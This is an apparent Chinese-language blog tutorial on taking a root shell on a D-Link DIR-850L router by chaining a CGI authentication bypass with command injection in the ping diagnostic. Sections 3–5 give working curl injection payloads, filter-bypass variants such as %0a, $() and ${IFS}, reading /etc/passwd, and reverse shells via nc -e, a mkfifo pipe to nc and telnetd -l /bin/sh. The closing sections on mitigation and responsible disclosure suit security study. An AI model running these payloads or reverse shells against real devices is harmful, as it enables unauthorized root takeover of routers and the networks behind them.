1. 从一个路由器型号说起为什么偏偏是它家用路由器被拿shell这件事在安全圈里算不上什么新鲜话题但每次遇到具体型号、具体固件版本还是会有不少人卡在“知道有洞不知道怎么用”这一步。dlink850l这个型号算是家用路由里被研究得比较透的一类网上公开的分析文章不少但大多停留在“存在命令注入”或者“存在认证绕过”这种结论层面真正把两个漏洞串起来、从零到拿到交互式shell的完整过程写得细的不多。我前后在这个型号上折腾过几轮踩了一些坑也总结了一些相对稳定的路径这里把它整理出来给需要做设备安全评估、或者单纯想学习嵌入式设备漏洞利用思路的朋友一个可参考的样本。先说清楚这个内容适合谁看。如果你手里正好有一台同系列设备想做授权范围内的安全测试或者你在学习IoT设备漏洞挖掘想找一个结构清晰、漏洞类型典型的练手目标那这篇东西应该能帮到你。它不涉及任何未授权访问的内容所有操作都建立在你自己拥有设备、或者获得明确授权的前提下。整个思路分两块一个是认证绕过让你在不登录管理后台的情况下拿到操作权限另一个是命令注入让你把权限从“能调接口”变成“能执行系统命令”。两个漏洞单独看都不算特别复杂但组合起来的效果比较直接这也是为什么这个型号在圈子里被反复提及。我自己的设备是一台二手收来的固件版本是比较常见的那一版管理地址是默认的。拿到设备之后第一件事不是急着找洞而是先把固件备份出来这一步后面会详细说因为固件里的信息决定了你后面所有操作的走向。很多人一上来就对着web界面猛试结果要么把设备搞挂要么触发保护机制反而浪费时间。先备份、再分析、最后动手这个顺序在嵌入式设备上尤其重要。2. 漏洞组合的整体设计思路2.1 为什么选认证绕过加命令注入这条路径家用路由器的攻击面其实就那么几块web管理界面、UPnP服务、DNS解析、以及一些厂商自己加的远程管理通道。dlink850l这个型号web界面用的是比较老的一套CGI架构很多功能通过独立的cgi-bin程序来处理请求。这种架构的好处是逻辑清晰坏处是每个cgi程序都可能是一个独立的攻击入口。认证绕过这个洞本质上是因为某些cgi程序在处理请求时没有正确校验会话状态导致你可以直接构造请求去调用需要登录才能用的功能。命令注入则是因为这些cgi程序在拼接系统命令时没有对用户输入做过滤导致你可以把额外的命令塞进去执行。这两个洞单独用行不行认证绕过本身只能让你调用一些管理接口比如改配置、重启服务但拿不到真正的shell。命令注入如果放在需要认证的接口上你没有认证就调不了所以也发挥不出来。把两者串起来先用认证绕过拿到调用权限再用命令注入执行任意命令才能拿到一个可交互的shell。这个组合思路在嵌入式设备上非常经典因为这类设备往往认证机制做得粗糙命令执行又很随意两个问题一叠加利用链就成立了。2.2 整体利用链的拆解整个利用链可以拆成四步。第一步是信息收集确认设备型号、固件版本、开放端口、web服务类型。第二步是认证绕过找到那个不需要登录就能调用的cgi接口构造请求验证权限。第三步是命令注入在认证绕过的基础上找到存在命令拼接的参数构造payload执行命令。第四步是shell维持因为这种设备资源有限直接反弹shell可能不稳定需要根据实际情况选择合适的方式。每一步都有坑。信息收集阶段很多人会忽略固件版本的影响不同版本的cgi路径和参数名可能不一样拿错版本的exp去打轻则没反应重则把设备搞成砖。认证绕过阶段有些接口虽然不需要登录但会检查Referer或者User-Agent你不带这些头请求会被拒。命令注入阶段payload的长度有限制太长的命令会被截断需要分步执行或者用编码绕过。shell维持阶段设备上的busybox功能不全很多命令没有需要提前确认可用工具。注意整个过程中任何一步操作前都建议先备份当前配置和固件尤其是准备修改设备文件或者刷写固件的时候。变砖之后恢复的成本远高于提前备份的成本。3. 核心细节解析与实操要点3.1 信息收集先搞清楚你在打什么拿到设备之后第一件事是确认它的管理地址。默认一般是192.168.0.1或者192.168.1.1具体看设备底部的标签。用浏览器访问一下看看登录页面长什么样顺便确认固件版本。dlink850l的登录页面比较简洁右上角或者底部通常会显示固件版本号。记下这个版本号后面找对应路径的时候要用。接下来是端口扫描。用nmap扫一下常见端口看看除了80之外还开了什么。这个型号一般会开80和443有些版本还会开23或者22但大多数情况下telnet和ssh是关闭的。如果开了telnet那事情就简单很多但可惜大部分出厂固件都是关的。扫描命令很简单nmap -sS -sV -p 1-65535 192.168.0.1重点看80端口返回的server头一般是lighttpd或者类似的嵌入式web服务器。这个信息决定了你后面构造请求时的一些细节比如是否支持某些HTTP方法、对URL编码的处理方式等。固件备份这一步如果设备支持通过web界面导出配置先导一份出来。配置备份文件一般是加密的但里面的结构信息还是有参考价值。更彻底的方式是通过串口或者编程器把整个flash读出来但这需要拆机对新手不太友好。折中方案是看看有没有公开的固件下载渠道直接下载对应版本的固件包用binwalk解包分析。我自己的做法是两者结合先web导出配置再找对应固件包互相印证。3.2 认证绕过的关键点认证绕过这个洞核心在于某些cgi程序没有正确继承会话校验逻辑。具体来说dlink850l的web管理界面在登录后会设置一个session cookie后续请求都靠这个cookie来识别身份。但有些cgi程序比如处理时间设置、诊断工具、固件升级的那些在代码实现上漏掉了session检查导致你可以直接访问。怎么找到这些接口两个办法。一个是看公开的分析文章里面通常会列出受影响的cgi路径。另一个是自己fuzz用dirb或者gobuster扫一下cgi-bin目录看看有哪些可访问的程序。我自己的习惯是先看公开资料确认大概范围再用工具验证。这样效率高也不容易漏。找到候选接口之后构造请求验证。比如某个诊断接口正常访问需要登录但你直接发请求如果返回了正常结果而不是跳转到登录页那就说明认证绕过了。这里有个细节有些接口虽然不检查session但会检查请求方法比如只接受POST你用GET去访问会返回405。所以验证的时候GET和POST都试一下。curl -X POST http://192.168.0.1/cgi-bin/某接口 -d 参数值如果返回的内容里包含了你期望的数据比如系统信息、诊断结果那就说明这个接口确实不需要认证。记下这个接口的路径和参数格式后面命令注入要用。实操心得验证认证绕过的时候不要一上来就发很复杂的请求。先用最简单的参数确认接口能通再逐步加东西。有些接口对参数格式很敏感参数名写错一个字母就返回错误容易误判成“接口不存在”。3.3 命令注入的触发点命令注入的触发点通常在那些会调用系统命令的cgi程序里。比如ping测试、traceroute、时间同步、固件升级这些功能底层都是通过system()或者popen()去执行shell命令。如果程序在拼接命令时没有对用户输入做过滤你就可以用分号、管道符、反引号这些shell元字符来注入额外命令。在dlink850l上比较典型的注入点是诊断工具里的ping功能。正常请求大概是这样的curl -X POST http://192.168.0.1/cgi-bin/某诊断接口 -d target127.0.0.1actionping如果程序直接把target参数拼到ping命令后面那你就可以构造这样的payloadcurl -X POST http://192.168.0.1/cgi-bin/某诊断接口 -d target127.0.0.1;idactionping如果返回结果里出现了id命令的输出那就说明注入成功了。这里要注意有些程序会对参数做简单的过滤比如去掉分号但可能漏掉了其他元字符。常见的绕过方式包括用%0a换行、用$()代替反引号、用||代替分号等。具体用哪种取决于目标程序的过滤逻辑。# 用换行符绕过 target127.0.0.1%0aid # 用命令替换绕过 target127.0.0.1$(id) # 用逻辑或绕过 target127.0.0.1||id实测下来这个型号对分号的过滤比较松大多数版本直接拼分号就能用。但如果你遇到的是更新过的固件可能需要多试几种。3.4 从命令执行到交互式shell命令注入能执行单条命令之后下一步是把它变成交互式shell。最直接的方式是反弹一个shell到你的机器上。但这里有几个问题设备上的busybox可能没有nc也可能有nc但不支持-e参数。所以需要先确认设备上有什么工具可用。# 确认是否有nc target127.0.0.1;which nc # 确认nc是否支持-e target127.0.0.1;nc -h 21如果nc支持-e那最简单# 在你的机器上监听 nc -lvnp 4444 # 在设备上执行 target127.0.0.1;nc 你的IP 4444 -e /bin/sh如果不支持-e可以用mkfifo的方式# 设备上执行 target127.0.0.1;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 你的IP 4444 /tmp/f如果设备上连nc都没有那就只能用telnetd或者写一个简单的脚本。有些固件里带了telnetd可以尝试启动它target127.0.0.1;telnetd -l /bin/sh -p 2323然后直接telnet连上去。这个方式的好处是不依赖外部监听坏处是如果设备防火墙拦了入站连接就连不上。注意反弹shell的时候你的机器和设备要在同一个网络里或者至少能互相访问。如果是远程测试还需要考虑NAT和防火墙的问题。另外有些设备在检测到异常连接后会重启所以操作要快拿到shell之后先确认环境再决定下一步。4. 实操过程与核心环节实现4.1 环境准备与设备接入我自己的测试环境比较简单一台dlink850l一台笔记本一根网线。笔记本用有线连到路由器的LAN口把笔记本的IP设成和路由器同网段比如192.168.0.100网关指向192.168.0.1。这样做的原因是无线连接有时候不稳定尤其是在设备重启或者服务异常的时候有线连接更可靠。连上之后先ping一下网关确认连通性。然后浏览器访问管理界面看看能不能正常打开。如果打不开检查一下是不是IP段不对或者设备是不是处于恢复模式。dlink850l有个恢复模式按住reset键上电会进入这时候管理地址会变成192.168.0.1但服务不一样别搞混了。确认管理界面能打开之后用nmap扫一遍端口。我一般会扫全端口虽然慢一点但不会漏。扫描结果里重点关注80、443、23、22、53、1900这几个。80和443是web23是telnet22是ssh53是DNS1900是UPnP。这个型号默认情况下23和22是关的53和1900有时候会开但利用价值不大。nmap -sS -sV -p- 192.168.0.1 -oN scan.txt扫描的同时可以去看设备底部的标签确认硬件版本。dlink850l有多个硬件版本不同版本的固件可能不一样漏洞的触发方式也可能有差异。标签上一般会写H/W Ver和F/W Ver记下来。4.2 固件提取与分析固件提取有两个路径在线提取和离线提取。在线提取是通过web界面的固件升级功能或者通过串口把flash读出来。离线提取是直接下载官方固件包用binwalk解包。我一般先用离线的方式因为快而且不碰设备。官方固件包下载下来之后用binwalk看一下binwalk -e firmware.bin解包之后会得到一个squashfs文件系统里面就是设备的根目录。进去之后重点看几个地方/etc/init.d/下面有哪些启动脚本/usr/sbin/和/usr/bin/下面有哪些可执行文件/www/或者/htdocs/下面有哪些web文件。cgi程序一般在/www/cgi-bin/或者/usr/sbin/下面。找到cgi程序之后用strings看一下里面的字符串找找有没有system、popen、execve这些函数调用。如果有再看对应的参数是怎么传进来的。这一步如果有IDA或者Ghidra可以直接反汇编看逻辑但大多数情况下strings加grep就够用了。strings cgi_program | grep -E system|popen|exec如果看到类似ping %s这样的格式串那基本可以确定存在命令注入。再结合web界面的表单找到对应的参数名就可以构造payload了。实操心得固件分析的时候不要只看cgi程序本身还要看它依赖的库和配置文件。有些过滤逻辑是写在配置文件里的比如哪些字符被禁止哪些IP被允许。把这些搞清楚构造payload的时候能少走很多弯路。4.3 认证绕过的验证与利用认证绕过的验证我一般用curl来做因为可以精确控制请求头和请求体。先找一个已知需要登录的接口比如获取系统信息的接口不带cookie直接访问看返回什么。如果返回的是登录页的HTML说明有认证检查如果返回的是JSON或者XML格式的系统信息说明绕过了。# 不带cookie访问 curl -v http://192.168.0.1/cgi-bin/某接口 # 带一个无效cookie访问 curl -v -H Cookie: sessioninvalid http://192.168.0.1/cgi-bin/某接口如果两种方式返回一样都是系统信息那说明这个接口完全不检查session。如果带无效cookie返回登录页不带cookie返回系统信息那说明它检查cookie是否存在但不验证有效性。这两种情况都可以利用只是构造请求的时候要注意。找到可绕过的接口之后把它和命令注入点结合起来。比如诊断接口本身需要登录但通过认证绕过可以直接调用那就在诊断接口的参数里注入命令。这样整个利用链就通了。# 认证绕过加命令注入 curl -X POST http://192.168.0.1/cgi-bin/诊断接口 -d target127.0.0.1;idactionping如果返回结果里包含uid0(root)这样的信息那就说明命令以root权限执行了。这个型号的cgi程序大多以root运行所以拿到的shell也是root权限。4.4 反弹shell的稳定实现拿到命令执行之后反弹shell的方式取决于设备上有什么工具。我一般先试nc因为最简单。如果nc不可用再试telnetd。如果都不行就用bash的/dev/tcp功能但busybox的sh通常不支持这个。# 检查可用工具 target127.0.0.1;ls /bin /usr/bin | grep -E nc|telnet|bash|sh如果设备上有python或者perl也可以用它们来反弹shell但家用路由上一般没有。所以大多数情况下要么用nc要么用telnetd。用nc反弹的时候如果nc不支持-e就用mkfifo的方式。这个方式的原理是创建一个命名管道把shell的输入输出和nc连接起来。具体命令前面已经写了这里再强调一下命令里的IP和端口要换成你自己的端口不要用太低或者太常见的避免被其他服务占用。# 设备上执行 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.0.100 4444 /tmp/f执行之后你的监听端应该能看到一个shell。如果没反应检查一下设备能不能ping通你的机器以及你的防火墙有没有拦入站连接。注意有些设备在反弹shell之后如果连接断开设备可能会重启或者卡死。所以拿到shell之后先别急着做太多操作确认一下系统状态看看有没有看门狗或者监控进程。如果有先把它停了再继续。5. 常见问题与排查技巧实录5.1 请求发出去了但没反应这是最常见的问题。可能的原因有几个一是接口路径不对不同固件版本的cgi路径可能不一样你拿A版本的exp去打B版本自然没反应。解决办法是先从固件里确认路径或者用dirb扫一下cgi-bin目录。二是请求方法不对有些接口只接受POST你用GET发过去会被忽略。三是参数名不对有些接口的参数名是缩写或者拼写有差异需要从固件里确认。四是设备有频率限制短时间发太多请求会被临时封禁等几分钟再试。排查的时候先用最简单的请求确认接口存在再逐步加参数。可以用curl的-v参数看完整的请求和响应确认服务端返回了什么。curl -v -X POST http://192.168.0.1/cgi-bin/某接口 -d target127.0.0.1如果返回404说明路径不对如果返回500说明参数有问题如果返回200但内容不对说明逻辑没走到。5.2 命令注入被过滤了有些固件版本会对参数做过滤比如去掉分号、管道符、反引号。这时候需要换绕过方式。常见的绕过技巧包括过滤字符绕过方式示例分号换行符%0a管道符逻辑或反引号命令替换$()空格制表符或${IFS}%09或${IFS}斜杠环境变量拼接${PATH:0:1}实测下来这个型号对空格的过滤比较松大多数情况下直接写就行。但如果遇到过滤严格的版本可以试试用${IFS}代替空格用$()代替反引号。# 用${IFS}代替空格 target127.0.0.1;cat${IFS}/etc/passwd # 用$()代替反引号 target127.0.0.1$(cat /etc/passwd)如果分号被过滤可以试试用%0a换行或者用和||。具体用哪种取决于目标程序的过滤逻辑。最好的办法是从固件里把过滤函数找出来看看它到底过滤了哪些字符然后针对性地绕过。5.3 反弹shell连不上反弹shell连不上原因通常有三个一是设备到你的机器网络不通二是你的机器防火墙拦了入站连接三是设备上的命令没执行成功。排查的时候先在设备上执行一个简单的命令比如id或者uname -a确认命令注入本身是通的。然后在设备上ping你的机器确认网络连通性。最后检查你的监听端是不是真的在监听端口是不是被占用。# 设备上确认网络 target127.0.0.1;ping -c 2 192.168.0.100 # 你的机器上确认监听 netstat -tulnp | grep 4444如果网络通、监听也在但就是连不上可能是设备上的nc版本有问题。试试用telnetd或者用其他方式。有些设备的busybox是精简版nc功能不全需要换一个方式。5.4 设备变砖了怎么恢复变砖是嵌入式测试里最不想遇到但最容易遇到的事。dlink850l的恢复方式一般是按住reset键上电进入恢复模式然后通过tftp或者web界面上传固件。具体步骤是断电按住reset键插电等指示灯闪烁后松开这时候设备会进入恢复模式管理地址通常是192.168.0.1。然后用浏览器访问上传之前备份的固件等恢复完成。如果恢复模式也进不去那就只能拆机上编程器了。所以再次强调动手之前先备份固件尤其是准备修改设备文件的时候。实操心得我自己的习惯是每次修改设备配置或者上传文件之前先把当前固件完整读出来存一份。这样即使搞挂了也能用编程器写回去。读固件需要拆机但比起变砖之后到处找固件拆机的时间成本其实更低。5.5 常见问题速查表问题现象可能原因排查方法解决方式请求返回404路径不对从固件里确认cgi路径换正确路径请求返回500参数格式不对用curl -v看请求体调整参数格式命令注入无回显过滤或命令未执行先执行简单命令测试换绕过方式反弹shell连不上网络或工具问题先ping再检查监听换telnetd或mkfifo设备无响应服务崩溃或变砖尝试恢复模式上传固件恢复认证绕过失效固件版本不同确认固件版本找对应版本的接口6. 工具选型与替代方案6.1 常用工具清单整个过程中用到的工具不多但每个都有替代方案。nmap用来扫端口替代品有masscan但masscan的准确性不如nmap建议还是用nmap。curl用来发请求替代品有wget和python的requests库但curl最方便尤其是调试的时候。binwalk用来解包固件替代品有firmware-mod-kit但binwalk更简单。nc用来反弹shell替代品有socat和telnetd但nc最通用。工具用途替代方案备注nmap端口扫描masscannmap更准确curl发HTTP请求wget, python requestscurl调试方便binwalk固件解包firmware-mod-kitbinwalk更简单nc反弹shellsocat, telnetdnc最通用IDA/Ghidra反汇编objdump, radare2看复杂度选择6.2 不同固件版本的差异处理dlink850l有多个固件版本不同版本的cgi路径、参数名、过滤逻辑都可能不一样。我遇到过的情况是早期版本对分号完全不过滤直接拼就能用后期版本加了过滤但只过滤了分号没过滤换行符用%0a就能绕过。所以拿到设备之后先确认固件版本再找对应的利用方式。如果找不到对应版本的资料可以自己从固件里分析。把固件解包找到cgi程序用strings看字符串用objdump看反汇编基本能搞清楚逻辑。这个过程需要一点逆向基础但不算特别难因为cgi程序一般不大逻辑也比较简单。6.3 替代利用路径如果认证绕过加命令注入这条路走不通还有没有其他方式有但难度更大。比如UPnP服务如果有漏洞可以通过UPnP协议触发命令执行。或者DNS服务如果有问题可以通过DNS查询注入。但这些路径的利用条件更苛刻不如web接口直接。所以大多数情况下还是优先走web这条路。另外如果设备开了telnet或者ssh但你没有密码可以试试默认密码或者弱密码。dlink850l的默认密码一般是admin/admin或者空密码但新固件通常会强制修改。如果默认密码不行可以试试从固件里找密码哈希然后破解。但这个过程比较耗时不如直接找漏洞来得快。7. 影响范围与防护思路7.1 这个漏洞影响哪些设备从公开信息来看dlink850l的这两个漏洞影响多个固件版本尤其是那些没有及时更新的设备。同系列的其他型号比如dlink860l、dlink820l也可能存在类似问题因为它们的web架构和cgi程序有很多相似之处。所以如果你手里有其他dlink型号的路由器也可以参考这个思路去测试但要注意不同型号的路径和参数可能不一样。影响范围的大小取决于设备的使用场景。如果是家庭用户设备在内网攻击者需要先进入内网才能利用风险相对可控。但如果是企业用户设备暴露在公网或者被用作跳板风险就大很多。所以不管是什么场景及时更新固件都是必要的。7.2 从防御角度看怎么防从防御的角度这几个漏洞的防护思路其实很清晰。第一认证检查要统一不能有的接口检查有的不检查。第二命令拼接要用参数化或者白名单不能直接拼用户输入。第三设备不要暴露在公网管理界面只在内网访问。第四定期更新固件厂商发布补丁之后尽快打上。对于普通用户来说最简单的防护方式是改默认密码关远程管理开防火墙定期更新。对于企业用户还需要做网络隔离把IoT设备放在单独的VLAN里限制它们的内网访问权限。注意如果你在测试过程中发现了漏洞不要公开利用细节尤其是那些还没有补丁的。负责任的披露方式是先联系厂商等补丁发布之后再公开。这样既能推动问题解决又不会给其他人带来风险。7.3 从漏洞挖掘角度能学到什么这个案例的价值不在于漏洞本身有多复杂而在于它展示了一个典型的嵌入式设备漏洞利用链。认证绕过加命令注入这个组合在很多IoT设备上都能见到。学会这个思路之后你可以把它应用到其他型号上先找不需要认证的接口再找命令拼接点然后把两者串起来。另外这个案例也说明了固件分析的重要性。很多漏洞信息其实就藏在固件里只要你愿意花时间去看就能找到。strings、objdump、binwalk这些工具看起来简单但用好了能解决大部分问题。逆向不一定要多高深关键是耐心和细心。8. 一些个人体会折腾这个型号的过程中最大的感受是嵌入式设备的漏洞利用难点往往不在漏洞本身而在环境。设备资源有限工具不全网络不稳定这些都是常态。所以做这类测试的时候心态要稳步骤要慢每做一步都确认一下状态不要急着往下走。另外备份真的很重要。我见过太多人因为没备份把设备搞挂之后到处找固件浪费大量时间。其实拆机读固件也就十几分钟的事但变砖之后恢复可能要几个小时。这个时间账怎么算都是备份划算。最后测试要有边界。自己买的设备随便折腾没问题别人的设备一定要有授权。这个行业里技术能力是一回事合规意识是另一回事两者缺一不可。